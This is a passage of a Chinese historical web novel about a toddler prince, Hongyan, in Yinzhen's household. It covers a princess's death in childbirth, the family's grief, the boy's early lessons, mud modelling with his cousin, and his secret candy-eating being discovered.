他很乐意陪便宜阿玛出门的。 没有他,便宜阿玛多无聊啊。 乌拉那拉氏瞧着弘晏的态度一百八十度的大转弯,不禁笑了。 苏培盛看向乌拉那拉氏,弓身道:“福晋,奴才这便带六阿哥去前院,爷已然在马车上等着了。” 乌拉那拉氏点了点头。 弘晏弯腰捡起了地上的竹蜻蜓,而后兴高采烈的对着乌拉那拉氏挥手:“额凉,窝走了。” 弘晏跟着苏培盛从正院出来,一直走到了雍亲王府正门前,下了石阶,苏培盛直接将弘晏抱上了马车,弘晏的小脑袋一探进去,便扑向胤禛:“阿玛。” 胤禛将弘晏抱坐在怀里,嘴角翘了翘:“要出门这么高兴?” 弘晏眨了眨眼睛:“嘿嘿,因为和阿玛一起出门啊。” 胤禛很是受用,摸了摸弘晏的小脸蛋儿。 到了十三贝子府,胤禛抱着弘晏直接往胤祥的书房去,拎着药箱的柳从南和苏培盛跟在后面。 胤祥得知胤禛的来意,自是去了书房的内室,配合柳从南上药,而身在正院的十三福晋兆佳氏得了信儿,便带着弘晈赶过来了。 弘晈笑嘿嘿道:“福宝锅锅。” 弘晏正玩着竹蜻蜓,见兆佳氏与弘晈进来,先向兆佳氏问了好,而后将手上的竹蜻蜓递给了弘晈:“弟弟,送泥的。” 弘晈接过了弘晏递过来的竹蜻蜓,眼睛眯成了一条缝:“谢谢福宝锅锅。” 弘晏抬手摸了摸弘晈的小脑袋。 “锅锅,吃糖糖。”弘晈说着,从自己的小荷包里掏出来一颗糖喂给了弘晏。 弘晏的小嘴巴嚼了嚼,品出了有牛乳和花生的味道,很好吃。 瞧着两个孩子在书房外间玩耍的高兴,兆佳氏便迈步进了内室。 这厢,柳从南正细心叮嘱:“十三爷,此药一日两次,内服外敷,用上一月,必定见效。” 胤祥点头道:“有劳。” 柳从南颔首道:“十三爷客气了。” 有了新药,胤祥的腿疾治愈的几率就大大增加,兆佳氏打心眼儿里高兴,笑着开口道:“我已然命人备下宴席,四哥与柳大夫可要尝尝我府上厨子的手艺。” 胤祥跟着附和:“对,再配上我酿的梅花酒。” 兆佳氏闻此言,遂看向胤祥,嗔道:“酒,爷还是不喝为好。” 柳从南跟着出声道:“十三福晋说的是,十三爷还是先忌口,不饮酒、不食辛辣油腻之物为好。” 胤祥叹口气:“有肉无酒,真是缺憾。” 胤禛笑道:“十三弟,你就忍忍,以茶代酒,陪我俩喝上几盅就是了。” 既然胤禛都这般说了,胤祥点头道:“也好,那我就用梅花茶来配你们的梅花酒。” 胤祥说着话,转而抬眸看向兆佳氏:“再叫厨上做上一道炙烤梅花肉。” 兆佳氏应下:“好。” 待兆佳氏话音落下,弘晏便迈过门槛进来,眨着星星眼说道:“肉肉好,吃肉肉。” 胤禛笑了:“小馋猫。” 弘晏嘟了嘟嘴巴:“窝饿了嘛。” 兆佳氏笑道:“福宝,宴席还得等会儿,十三叔母叫人拿点心来给你吃,好不好?” 弘晏奶呼呼道:“好啊,窝要桃脯,弘晈弟弟刚刚喂窝的糖好好吃,还想要一些。” 跟着进来的弘晈说道:“福宝锅锅,是牛乳花生糖。” 弘晏点了点小脑袋。 这厢,胤禛眉头一挑,问道:“福宝,你怎还点上菜了?这可不是雍亲王府。” 弘晏哒哒跑到胤祥身旁站着,对着自家的便宜阿玛说道:“十三叔又不是外人。” 胤祥笑得爽朗:“对,福宝到了十三叔这里,跟在雍亲王府一样。” 弘晏得意的冲着胤禛眨巴了眨巴眼睛。 兆佳氏一个眼神过去,便有丫鬟捧着点心来了。 弘晏左手拿着桃脯,右手拿着牛乳花生糖,吃得满足。 弘晈有样学样,忽然发觉桃脯和牛乳花生糖一起吃,口感还挺不错的。 此时,苏培盛迈步进来,看向胤禛说道:“爷,小喜子来了,说要急事要禀。” “叫他进来。”胤禛话落,小喜子气喘吁吁的进来,给屋内众人请过安后,欲言又止。 胤禛只道:“这里没有外人,你直说就是。” 小喜子跪下禀道:“爷,不好了,郡主难产,福晋与李侧福晋已然往那喇府去了。” 胤禛脸色一沉,“蹭”的起身,带着弘晏与柳从南坐上马车便急匆匆往那喇府赶去。 胤禛抱着弘晏脚下生风似的到了怀恪郡主居住的院子,那喇大人与那喇夫人忙迎上来。 那喇大人拱手:“四爷您来了。” 那喇夫人开口道:“四爷,郡主半夜说肚子疼,府里众人便都醒了,女子头回生产都会艰难些的,可谁知到现在这孩子都生不下来啊。” 李侧福晋闻言,直接冲过来,拧眉道:“你这话里话外是责怪茉雅奇不中用了?” 那喇夫人忙解释道:“哎呦,侧福晋,我哪有这个意思,到了万难的地步,自然是郡主为大。” 李侧福晋还想与那喇夫人争论,胤禛皱眉道:“行了。” 李侧福晋这才又将话咽了下去。 胤禛将弘晏放到地上,转而又对着柳从南说道:“柳大夫,你进去瞧瞧。” “嗻。”柳从南颔首,忙拎着药箱进去。 弘晏哒哒走到乌拉那拉氏身旁,安安静静地待着。 忽而,屋子里撕心裂肺的声音传出来,丫鬟们捧着热水进,却捧着血水出来。 弘晏虽然瞧不见那血水,那鼻子却能嗅出来血腥味儿。 乌拉那拉氏怕吓着弘晏,使了个眼神叫流萤带弘晏去旁的屋子玩,弘晏却不愿意,乌拉那拉氏也只得先作罢。 这时,接生姥姥快步从产房里面出来请示:“四爷,郡主难产血崩,别说孩子了,怕是郡主也……” 那喇大人赶忙扶住自家夫人:“保住郡主要紧,快去。” 接生姥姥颔首又赶忙进了屋子。 李侧福晋眼尾泛红,看向胤禛央求:“爷,让我进去吧,让我进去瞧瞧茉雅奇。” 胤禛点了点头。 李侧福晋赶忙进了产房。 少顷,柳从南与许太医都走了出来,齐齐跪下道:“奴才无用,郡主怕是……” 胤禛不敢相信自己的耳朵,催促道:“柳从南,想法子啊。” 柳从南摇头:“爷,奴才尽力了。” “茉雅奇。”胤禛说完,眼睛望向产房,抬出一步却又生生止住了。 产房内,怀恪郡主刚生下来的孩子已然没了气息,而床榻上的怀 恪郡主也奄奄一息了。 接生姥姥用襁褓把孩子包裹后,正要抱出去就听怀恪郡主艰难出声:“抱过来,叫我看一眼。” 到底是她怀了十个月的骨肉。 接生姥姥闻言,走过去将襁褓放在了怀恪郡主的怀里。 怀恪郡主只低头看了孩子一眼,两行清泪就流了出来。 接生姥姥又将襁褓抱起来了。 一旁的李侧福晋看着筋疲力尽毫无血色的女儿,哭泣道:“茉雅奇,你若早听了额娘的话,何至于到今天这个地步啊。” 怀恪郡主没有接李侧福晋的话,她并不后悔自己的选择,只是带着哭腔问道:“额娘,星德可回来了?” 李侧福晋喊道:“都什么时候了,你还想着那个薄情寡义的做什么!” 那就是没回来了。 怀恪郡主抬眼望向帐顶,气息奄奄:“那喇星德,你食言了,我也食言了。” 那喇星德没有赶在她生产前回来,而她也没有平平安安的生下她们的孩子。 话音落下,怀恪郡主阖上了双眼,那眼角还闪着泪花。 “茉雅奇。”李侧福晋撕心裂肺的喊道。 李侧福晋的哭声传出了院子,胤禛心里一震。 此时,接生姥姥哭丧着脸出来:“四爷,郡主没了。” 胤禛双眼望着窗户,握紧了双拳。 忽而,一阵脚步声急促传来,那喇星德风尘仆仆的赶回来,在院子里见到了胤禛等人,拱手问:“阿玛,额娘,你们都在,郡主可生了吗?” 门房的人说,郡主昨夜便胎动了,希望他没有来晚。 弘晏抬头看向那喇星德,身上穿着甲胄,灰头土脸的而且眼底一片乌青,想必是日夜兼程赶回来的,只可惜…… 胤禛喉咙滚了滚,却说不出来一句话。 那喇夫人带着哭腔道:“儿啊,你晚了一步,郡主,郡主她……” 李侧福晋从屋子里冲出来,指着那喇星德的鼻子骂:“你个薄情寡义的畜生,你还敢回来,要不是你非要去西北,我的茉雅奇能难产而亡吗?” 那喇星德的脑子轰然炸开,难怪他刚才问起郡主,众人都脸色凝重,不会的,这不是真的。 “茉雅奇,茉雅奇!”那喇星德嘴里念叨着,抬步就要往屋子里去,却被李侧福晋给拦住。 那喇星德看着挡在他面前的李侧福晋,哀求道:“额娘,千错万错都是我的错,求你,让我看看茉雅奇。” 李侧福晋气不过,直接上手捶打那喇星德:“你认错有什么用,我的茉雅奇能回来吗?” 那喇星德也不躲,任由李侧福晋发泄。 若早知如此,他当初绝不会执意去西北。 那喇夫人看不过眼:“侧福晋,郡主难产谁能料到?你也不能一味责怪我儿啊。” 李侧福晋恶狠狠的瞪向那喇夫人:“不怪他,那就是你,一定是你,你们那喇府没有好生照料茉雅奇,是你们苛待了我的茉雅奇。” 话说着,李侧福晋又去掐那喇夫人的脖子。 胤禛见状,直接上手将李侧福晋拉开,喝道:“李氏,你闹够了没有!” 而那喇星德顾不了许多,赶忙冲进产房里去了。 李侧福晋泪流满面的望着胤禛:“爷,茉雅奇没了,咱们的孩子又没了。” 胤禛强忍心中疼痛,喊道:“苏培盛,送侧福晋回府。” 茉雅奇难产是意外,他不能任由李氏在那喇府撒泼。 第86章 第86章幼崽下棋 回雍亲王府的车厢内,死气沉沉。 乌拉那拉氏瞧着一脸凝重的弘晏,眉宇间不禁浮现出了担忧之色,遂唤道:“福宝?” 今日他虽然没有亲眼目睹怀恪郡主生子的情形,但听着撕心裂肺的叫声,不禁唤醒了弘晏的记忆。 叫他想起来,彼时他胎穿而来,乌拉那拉氏也是这样撕心裂肺的叫喊。 乌拉那拉氏见弘晏没应,便抬手捧着弘晏的小脸儿,唤道:“福宝,福宝?” 这孩子该不会是被吓着了吧。 乌拉那拉氏有些后悔。 她当时就该强制的让流萤把弘晏给抱走。 弘晏回过神来,抬眼望着乌拉那拉氏:“额凉,泥生窝,也很痛吧?” 乌拉那拉氏没想到弘晏会联系到这里,鼻子酸涩的紧,随即将弘晏搂进怀里:“额娘不疼,有福宝,额娘高兴还来不及。” 回到雍亲王府,胤禛就将自己关在了书房里。 怀恪郡主难产亡故的消息很快传遍了整个雍亲王府,待入了夜,许是天上无月,太过寂寥,整个雍亲王府都好似被笼罩在了哀伤里。 守在书房外面的苏培盛远远瞧见慢慢走过来的一大一小两个人,迎上去说道:“六阿哥,爷谁也不见的。” 弘晏指了指身后王乳娘拎着的食盒:“苏苏,窝给阿玛送参汤。” 自打从那喇府回来,胤禛滴水未进,这样下去不是办法,苏培盛想着胤禛最宠弘晏,便转身进去禀报了。 片刻后,苏培盛从屋子里出来:“六阿哥,快进去吧。” 王乳娘将参汤放在小榻的矮桌上后,就赶忙退出书房在廊下等着弘晏了。 弘晏站在脚踏上,瞧着静静坐在小榻上的胤禛,缓缓开口:“阿玛,额凉和其他姨凉都在给姐姐抄写佛经。” 胤禛的神情这才有了丝波动,抬眼看向弘晏。 胤禛的眼底有哀伤和落寞,虽未宣之于口,但弘晏知道胤禛中年失女,心里难受的厉害。 弘晏展开双臂抱住胤禛,小脑袋靠着胤禛的胸膛:“阿玛,泥还有窝,有锅锅们。” 胤禛一只手搂着弘晏,另一只手揉了揉弘晏的小脑袋:“阿玛没事。” 弘晏不信,但也不再多说什么了,只道:“阿玛,汤汤要凉了。” 时间会慢慢抚平一切的。 “好。”胤禛说完,端起参汤一饮而尽了。 胤禛让弘晏看了看手里的空碗,一滴汤水都没剩,关切道:“夜深了,快些回去睡觉吧。” 弘晏忽闪着大眼睛:“阿玛也要早些睡。” 胤禛点了点头。 弘晏这才满意的离开了书房。 怀恪郡主的身后事自然是以郡主之礼下葬,乌拉那拉氏请了法师为怀恪郡主超度,雍亲王府出了这种大事,众皇子们能来的都来了,就连八阿哥胤禩等人也登门了。 乌拉那拉氏一干人等抄写的佛经也已然在雍亲王府的小佛堂供了起来,李侧福晋更是整日待在小佛堂里为怀恪郡主诵经祈福。 胤禛虽然心里难受,但日子还得过下去,他还有更重要的事情要做,只是听闻那喇星德自怀恪郡主故去后就一蹶不振,便亲自登了那喇府的门。 胤禛打开门抬步进去后,瞧见的便是屋内一片狼藉,空酒坛、空酒壶扔的满地都是,那喇星德蜷缩在地上,手里还拎着酒壶,见胤禛来,这才挣扎着从地上站起来:“阿玛。” 那喇星德头发散乱,脸上冒出了许多胡茬,衣服多日未换,离得近了便能闻出满是酸臭的味道。 胤禛颦眉:“你把自己折腾的不人不鬼,可对得起死去的茉雅奇和孩子?” 胤禛这一问,那喇星德红了眼眶,涕泗横流,扔了手上的酒壶,跪倒在胤禛面前:“阿玛,是我对不起茉雅奇和孩子,我害了她们母子两个。” “茉雅奇走了,但你还是我雍亲王府的额驸,你若还是个 有血性的汉子,就振作起来,好好活着。”胤禛说完,大步流星的离开了那喇府。 —— 乌拉那拉氏一直将弘晏启蒙的事情放在心上,知晓胤禛心头积压了不少事,便先开始给弘晏启蒙了。 像《三字经》一类的儿童启蒙读物,对活了几百年的玉兔精来说,是小菜一碟的事,不过弘晏明白自己的壳子还是个三岁的奶娃娃,是以有意藏拙,只摇头晃脑的跟着乌拉那拉氏一字一句的读背。 饶是这样,乌拉那拉氏对弘晏背书的进度已然十分满意了。 每日弘晏背会了一段,乌拉那拉氏便会放弘晏去院子里荡荡秋千或是骑骑摇摇马,又或是做些其他活动。 总归是劳逸结合的。 日子久了,弘晏在正院过得也是自在惬意。 待胤禛知晓了乌拉那拉氏已然在给弘晏启蒙了,忙完了手头的公务,便去了正院考问弘晏的启蒙情况。 弘晏对答如流,胤禛甚是欣慰,便也默许了乌拉那拉氏继续给弘晏启蒙,再过两三年弘晏满六岁总是要搬到前院去的,届时他再悉心教导弘晏也不晚。 “阿玛,有奖励吗?”弘晏扯着胤禛的袖子说道。 胤禛笑了:“福宝想要什么?” 弘晏笑嘿嘿道:“冰糖萝卜。” 胤禛正要应下,却听乌拉那拉氏开了口:“萝卜可以,冰糖不成。” 弘晏的乳牙差不多都长出来了,甜食要控制,不宜多吃了,若是有了蛀牙,可就糟糕了。 弘晏灿烂的笑容立马僵住了,随即又委屈巴巴的拉着胤禛的袖子晃悠:“阿玛,窝要吃冰糖萝卜,泥说了要奖励窝的。” 他装小零嘴儿的荷包已然空了,乌拉那拉氏却不肯再给他续零嘴小食,他好些日子都没有吃过糖了。 乌拉那拉氏看向胤禛,没有松口的意思。 胤禛抱着弘晏说道:“福宝乖,听你额娘的。” 弘晏瘪了瘪小嘴巴,一脸的不高兴。 原则性的问题,乌拉那拉氏是不会让步的。 “福宝,额娘之前可都是与你讲过为何不能吃糖的,福宝是乖孩子,额娘叫厨房给你做羊肉萝卜汤可好?”乌拉那拉氏看着弘晏说道。 弘晏妥协了:“好吧。” 乌拉那拉氏虽然宠他爱他,可却不会无下限的溺爱他。 若是他再抗议下去,怕是连萝卜也没得吃了。 —— 翻了年,弘晏四岁,弘历与弘昼已然六岁了。 待到阳春三月,天气暖和起来,胤禛才正式命弘历与弘昼搬到前院与弘时一起读书。 自打胤禛有意让两个孩子搬到前院,钮祜禄格格与耿格格便开始着手准备了,好在有乌拉那拉氏美言,两个孩子在身边又留了一年,如今胤禛发了话,二人自然是不敢再有其他意见的。 钮祜禄格格对弘历是一百个放心,耿格格对弘昼的叮嘱却是千言万语都说不尽的。 两个孩子第一日上课,胤禛便抱了弘晏前去查看情况,临行前,胤禛嘱咐弘晏,若他没有发话,可不能发出一点儿动静。 弘晏点了点小脑袋。 不就是偷听嘛,包的。 胤禛抱着弘晏来到廊下,静悄悄的站在木窗旁,透过窗缝来瞧里面的上课情形。 弘历坐姿端正,听得十分认真,而弘昼懒洋洋的驼着背,还在打哈欠,至于上学时间最久、接受教育熏陶最浓厚的弘时,脸上却是淡淡的死/感。 看清了三个哥哥的上课状态,弘晏悄悄地望向了胤禛,便宜阿玛的脸色果然变得难看了。 这时,弘晏忽听里面传来了朱师傅的声音:“三阿哥,依你之见,我方才所言何解?” 弘晏只瞧见弘时一愣,弘历与弘昼的注意力都集中在了弘时身上,弘时站起身,说话支支吾吾:“我……我……” 弘时人坐在这里,只怕心早就飞走了。 弘晏这样想着,又望向了胤禛。 胤禛这回的脸是彻底黑了。 旋即,胤禛迈起步子抱着弘晏回了书房,嘱咐苏培盛待会儿下了课,便将三个孩子都叫到书房来。 被放在小榻上的弘晏,见胤禛在喝茶,思忖着多喝些茶也好,败火。 离下课还得等会儿,胤禛拿了棋盘过来,教弘晏下棋,因着弘晏才四岁,胤禛先教弘晏认识了棋盘、棋罐和棋子后,便告诉弘晏,他二人各执一种颜色的棋子,五个棋子若能在棋盘上任意连成一条线便算赢。 弘晏听明白了,不就是玩五子棋嘛。 黑子先行,是以胤禛将盛着黑棋的棋罐放到了弘晏手边。 弘晏掏出一个黑棋放在了棋盘的中心位置,胤禛紧随其后。 棋局就此拉开,父子二人你追我堵,局势胶着起来。 此时,苏培盛进门禀报:“爷,三位阿哥在外等候。” 棋局先暂停,胤禛喊道:“叫他们进来。” 弘时、弘历、弘昼异口同声道:“给阿玛请安。” 小榻上的弘晏脆生生喊道:“三锅锅、四锅锅、五锅锅。” 弘昼第一个积极回应:“嘿嘿,六弟。” 随着弘昼话音落下,弘历冲着弘晏笑了笑,弘时则是点了点头。 胤禛看着站成一排的三个儿子,神情严肃,开门见山道:“弘昼,第一日上课就懒懒散散,还打哈欠。” 弘昼面上一惊,随即解释起来:“阿玛,我在邀月轩睡习惯了,突然换了地方自然睡不着,而且起床的时辰也太早了些,我睡不够自然困。” 胤禛蹙眉:“今个儿第一日便算了,明日若还这般懒散,你便站着听课。” “哦。”弘昼不情不愿地应了一声。 胤禛看向弘历时,脸色温和多了:“弘历,今日学的不错,日后要多加勤勉、虚心求教。” 弘历点头道:“是,儿子谨记阿玛教诲。” 胤禛看向弘时的一瞬间,温和的脸又黑了下去:“弘时,你是长兄,两个弟弟刚入学,你要多帮衬些,做出个榜样来,明白吗?” 弘时点头如捣蒜:“儿子明白。” 待会儿还有课程要上,胤禛交代完,便挥手叫弘时、弘历、弘昼出去了。 这厢,胤禛一扭脸,便瞧见那棋盘上的黑子们围成了一个圆圈把他的白子们都给包围了起来。 胤禛挑眉:“福宝,连成五子才算赢,你这样围起来有何用?” 弘晏指了指棋盘上的黑子,好像沙场点兵的大将军:“阿玛,泥的兵都被窝的兵包围了,窝自然赢了。” 弘晏说完,骄傲的抬了抬下巴。 便宜阿玛心血来潮与他下这一局棋不过是打发时间而已,既然棋局已然暂停了,那他按照自己的想法走又有何不可呢? 胤禛一愣,棋局如战场,稍有不慎,满盘皆输。 胤禛掩下思绪,顺着弘晏的思路走:“福宝,瞧好了。” 话说着,胤禛将位置处于最中央的那颗白子举在手上,而后对着弘晏说道:“福宝,‘擒贼先擒王’,若是两军交战,最要紧的便是擒获首领,可明白?” 弘晏有心逗一逗胤禛,遂一本正经道:“阿玛,窝明白了,你是贼王。” 胤禛:“……” 第87章 第87章捏泥兔子 胤祥一直遵守柳从南的医嘱,经过这一两年的配合治疗,这腿疾终于根治了。 胤禛得到消息后大喜,立即叫门房备马车,带着弘晏要往十三贝子府去。 又要出门了,弘晏开心的不行,一路上摇头晃脑的不知在哼唱些什么。 父子二人到了十三贝子府,胤祥带着兆佳氏与弘晈已然在前院等着了。 胤禛心里有千言万语,可如今真见到了胤祥,却不知该如何说起了,只抬手拍了拍胤祥的肩膀,笑道:“十三弟。” 胤祥望着胤禛,含笑道:“四哥,今儿你可不能拦我喝酒了。” 胤禛爽朗一笑:“你我兄弟今日不醉不归。” 胤祥开怀大笑:“好,要的就是四哥这句话。” 胤祥的腿疾痊愈是整个十三贝子府的大喜事,兆佳氏也是高兴的紧:“宴席已备下,四哥,爷,咱们到屋子里说话吧。” 胤禛与胤祥并排往屋子里走,兆佳氏则跟在后面,弘晏却拉住了弘晈,悄咪咪的在弘晈耳边说了几句话。 弘晈听完,拍了拍自己的小胸脯:“福宝锅锅,包在窝身上。” 弘晏很是欣慰的抬手摸了摸弘晈的小脑袋:“好弟弟。” 话说完,弘晏拉起弘晈的小手,两个小娃娃抬步往屋子里去。 美酒佳肴上了桌,弘晏吃到了上次没吃成的炙烤梅花肉,又喝了一碗鲈鱼萝卜汤。 喂饱了小肚子,弘晏便与弘晈到院子里玩耍。 几杯梅花酒下肚,胤禛的眼睛有了迷离之色,看着弘晏与弘晈手拉手远去的背影,不禁回忆起了往昔,遂抬眸对着胤祥说道:“瞧着福宝与弘晈,我便想起了咱们小时候的模样。” 胤祥拎起酒壶给胤禛手边的空酒杯又斟满了:“是啊,说来我的算学还是四哥手把手教的。” 兆佳氏见状,便起身离开了屋子,好让他们兄弟俩谈心。 这厢,弘晏与弘晈到了院子里,走到一棵枫树下,又叫小太监抬了水桶来,准备捏泥人儿玩。 弘晏将自己的袖子撸上去,又帮着弘晈挽起了 袖子,随后两个小娃娃便一同撅着小屁股蹲在了地上。 弘晏用两只手挖了一大块泥巴,在手里揉搓着,连五官都跟着用力。 一旁的弘晈好奇问:“福宝锅锅,泥要捏什么?” 弘晏一边捏手里的泥巴,一边笑道:“嘿嘿,当然是小兔子了。” 弘晈闻言,眼睛亮了:“福宝锅锅泥会捏兔子。” 在弘晈看来,把软趴趴的泥巴捏成兔子形状可是很难的事情。 弘晏自信满满:“泥就等着看好了。” 弘晈点了点小脑袋,随即也投入到创作当中去。 弘晏十分专注的捏着自己的作品,却忽而感觉脸上有些痒,便下意识的用手背蹭了一下脸,紧跟着弘晏便听到了身旁的弘晈发出的笑声:“福宝锅锅,泥捏兔子怎么捏到脸上去了。” 弘晈很清晰的能看到弘晏的脸颊上有一块泥巴印。 弘晏闻言,这才反应过来自己即使是用手背蹭的脸颊,可手背不知何时已然沾上了泥巴。 弘晈笑过了,又道:“福宝锅锅,我来帮泥擦。” 弘晈说着,便伸手去碰弘晏的脸颊,弘晏后仰着脑袋躲开,哭笑不得道:“弘晈弟弟,泥的手也是脏的啊。” 弘晈悬在空中的小手一愣,旋即笑道:“对哦,窝忘了,那叫窝的乳凉帮泥擦。” 弘晏摇了摇脑袋:“不用了,窝们玩完,再好好洗洗就行了。” 就他脸上的泥巴印怕是早就干透了,还不如玩完再彻底洗一遍。 弘晈觉得弘晏说得话有道理,便不再坚持了。 弘晏捏好了小兔子立马唤弘晈来瞧。 弘晈夸赞道:“福宝锅锅,泥好腻害,窝可以摸摸泥的小兔子吗?” 弘晏耐心解释:“现在小兔子是软的,摸了会有印儿,等它放干了才可以。” 弘晈点了点脑袋。 弘晏便将自己的第一个作品放到一旁,转而投入创作第二个小兔子。 此时,弘晈用手托着自己的作品对着弘晏说道:“福宝锅锅,泥看窝捏的。” 弘晏一扭脸,瞧见弘晈的作品是两个摞在一起的泥球,下面的泥球要比上面的泥球大一些,遂猜测道:“弘晈弟弟,泥捏的是雪人?” 弘晈摇了摇小脑袋:“不对,是福禄。” 弘晏一愣,而后纠正道:“是葫芦吧?” 弘晈嘿嘿道:“对,是葫芦。” 弘晏仔细瞧着弘晈的捏的泥葫芦,总觉得少了点什么,余光看到落在地上的枫树叶子以后,弘晏有了主意,遂在地上捡了一个十分小巧好看的枫树叶子,而后插在了泥葫芦的头上:“弘晈弟弟,泥看,这样是不是更像了?” 弘晈连连点头。 另一边,兆佳氏在正院哄睡了弘眖,听丫鬟说胤禛与胤祥还在前院对饮,便抬步出门去瞧瞧弘晏与弘晈两个小娃娃。 待兆佳氏走到了院子,便远远瞧见弘晏与弘晈两个小娃娃蹲在枫树下正埋着头哼哧哼哧的做些什么,而几个丫鬟就在一旁守着。 兆佳氏走近了,笑着唤道:“福宝,弘晈,你们在玩什么呢?” 弘晏与弘晈听到了兆佳氏的声音,齐齐回过头去。 看清了两个小娃娃的模样,兆佳氏脸上一惊,却又忍不住笑出声:“瞧瞧你们俩个弄的身上脏兮兮的,都成泥娃娃了。” 兆佳氏这话也不假,弘晏与弘晈的脸上、衣服上都布满了泥点子。 兆佳氏忙吩咐丫鬟们将弘晏与弘晈带下去沐浴更衣。 弘晈对着兆佳氏喊道:“额凉,窝要和福宝锅锅一起洗澡。” 既然一起脏兮兮了,那当然要一起洗香香了。 玩是玩尽兴了,可弘晏却舍不得自己的作品,遂扬着小脸儿对兆佳氏说道:“十三叔母,窝捏的兔子要拿回去给额凉看的。” 兆佳氏柔声道:“福宝放心,十三叔母会让人给你保管好的。” 有了兆佳氏的承诺,弘晏放心的和弘晈手拉手洗澡去了。 弘晏的衣服上都是泥巴,自然是穿不得了,好在弘晏虽然比弘晈大一个月,但两个人身形相仿,弘晈的衣服弘晏还是能穿的,兆佳氏便吩咐人取了一件弘晈的新衣服给弘晏穿上。 洗完澡的弘晏与弘晈完成了从脏脏包到糯米团子的完美蜕变。 弘晏一见到兆佳氏,便问:“十三叔母,窝兔子嘞?” 兆佳氏答道:“十三叔母已经让人用匣子装起来了,等你回府的时候就给你。” 弘晏应了一声,忽而又想起了什么,便冲着弘晈挤了挤眼睛。 弘晈收到弘晏发送的信号,遂抬眸对着兆佳氏说道:“额凉,窝想和福宝锅锅再玩一会儿。” 两个小娃娃好不容易凑到一起自然是闲不住的,兆佳氏便道:“玩可以,但是不能再玩泥巴了。” “额凉放心。”弘晈说着,便要拉着弘晏走。 “十三叔母拜拜。”弘晏说完,便跟着弘晈一起出去了。 待两个小娃娃出门,兆佳氏又问向身旁的丫鬟:“醒酒汤可送去前院了?” 而此时的乾清宫内,康熙正坐在御案上批阅奏折,德妃拎着食盒来给康熙送参汤。 康熙在御案上坐了半个时辰了,正好想起身活动活动筋骨,既然德妃来了,康熙喝参汤的时候,正好能与德妃说说话。 而德妃便趁机问起了今年选秀的事儿,话中之意便是想让康熙给胤禛和胤禵府里指两个可心的人伺候。 给胤禵府里指人,康熙自然是应允的,可给胤禛府里添人,康熙便迟疑了。 当初,茉雅奇正值婚龄,胤禛看中了那喇星德便进宫求自己下旨赐婚,至于目的,不过是为了能将膝下唯一的女儿嫁在京城,留在身边罢了。 只可惜茉雅奇这孩子福薄,好不容易活到成年又嫁了人,却死于难产。 唯一的女儿没了,胤禛面上不显,心里怕是难受的紧,这才过了几个月,自己就给胤禛再赐几个格格进府,怕是不妥。 德妃瞧康熙没有给胤禛府里添人的意思,自然也不好再进言,反正康熙答应给胤禵府里添新人,她的目的就达到了。 —— 胤禛与胤祥喝足了酒,又喝完了一碗醒酒汤,稍作休整之后,便要带着弘晏回府了。 只不过胤禛一瞧见弘晏,便发现弘晏身上的衣服已然换了。 兆佳氏便简单讲了一下事情的始末。 胤禛将檀木匣子打开,里面赫然放着两只泥捏的兔子。 一旁的胤祥瞧见了,夸道:“这福宝用泥捏的兔子还真有几分像。” 弘晈跟着附和:“阿玛,福宝锅锅很腻害的。” 弘晏则扬起小脸儿对着胤祥说道:“十三叔,弘晈弟弟捏的葫芦和毛毛虫也很好。” 告别完,胤禛便带着弘晏回雍亲王府去了。 到了正院,弘晏迫不及待的要让乌拉那拉氏瞧自己捏的泥兔子。 乌拉那拉氏看着匣子里的两只泥兔子,笑道:“福宝捏的泥兔子真好看,不过嘛,可是将身上弄脏了,换了弘晈的衣服?” 弘晏不好意思笑了笑。 随后,弘晏又从乌拉那拉氏手里接过盒子,说要放到隔壁的耳房去,而后就哒哒的跑出去了。 弘晏将两只泥兔子小心翼翼的拿出来,而后摆在了醒目的架子上。 等到晚上,弘晏吃完了晚膳,便哒哒的跑去耳房睡觉了。 约摸半个时辰后,乌拉那拉氏来了耳房,给床榻上熟睡的弘晏掖了掖被 子,而后才放心的回正院睡觉了。 乌拉那拉氏一走,弘晏便睁开眼睛了,紧接着又从床榻上坐起来。 待外面安静的没有声响了,弘晏下了床,从柜子里拿出来一个荷包,掏出了一颗牛乳花生糖放进嘴里细细咀嚼着,而后将荷包放回去,就心满意足的躺回床榻上阖眼睡觉了。 第88章 第88章被抓包了 柳从南治好了胤祥的腿疾,胤禛定是要嘉奖的,便让柳从南尽管开口提,只要他能办得到的,绝不推辞。 柳从南向来不喜金玉,一心都扑在中医药草上,是以,便拜托胤禛帮他寻两味中草药。 这中草药难寻,深山老林里或许能找见。 胤禛一口答应,便吩咐苏培盛派人出发寻药。 —— 这两日,乌拉那拉氏发觉弘晏有些反常,用完晚膳后就立马沐浴更衣一个人乖乖回耳房睡觉去了。 要知道,往常弘晏用了晚膳后总要留在正屋里玩一会儿,或是撒娇要和她一起睡觉的。 问王乳娘,王乳娘只道弘晏晚上很安静睡得很香。 乌拉那拉氏的直觉告诉她事情绝对不是这么简单的。 是以,乌拉那拉氏决定今个儿晚上一探究竟。 弘晏吃完晚膳后,与前两日一样接着去净室沐浴更衣,而后就回耳房睡觉去了。 躺在床榻上,弘晏的眼睛望着头顶的帐幔,一点儿困意也没有。 忽而,窗外传来了花盆底的声音,弘晏立马闭上眼睛装睡。 少顷,乌拉那拉氏走进来,靠近拔步床后,抬手给弘晏掖了掖被角,而后又转身出去了。 片刻后,弘晏睁开了眼睛,缓缓吐出一口气。 因着他晚上睡觉有踢被子的习惯,是以,现在即使他一个人在隔壁的耳房睡觉,有王乳娘照看着,乌拉那拉氏也是不放心的。 几乎每天晚上,乌拉那拉氏都要来耳房转一圈,给他掖掖被子才能放心回内室睡觉去。 弘晏虽然很感动乌拉那拉氏的体贴,但是对于现在的他来说却成了一种困扰。 待外面安静下来,弘晏掀开被子下了床榻,而后光着脚丫子将柜子打开,又从里面拿出来了荷包,取出一块牛乳花生糖放进嘴里咀嚼着。 弘晏边吃,边在心里数着荷包里剩余的牛乳花生糖的数量。 “福宝,吃什么呢?” 弘晏忽而听到乌拉那拉氏的声音从后方传来,小脸一惊,转过身的同时将荷包藏在了身后,扑闪着羽睫说道:“没吃,没吃。” 乌拉那拉氏哼了哼:“我都瞧见了,还说没吃。” 怪不得这两日弘晏晚上睡得这么早,原是装睡等她走了好偷吃糖。 王乳娘给弘晏穿上了鞋,弘晏不情愿的拿着荷包跟着乌拉那拉氏往正屋去。 这厢,乌拉那拉氏坐在小榻上,荷包被王乳娘放在了矮桌上,乌拉那拉氏将荷包里剩下的糖都倒在了白瓷碟子里,一共有六颗牛乳花生糖。 乌拉那拉氏转而看向站在面前的弘晏,问道:“福宝,糖是从哪里来的?” 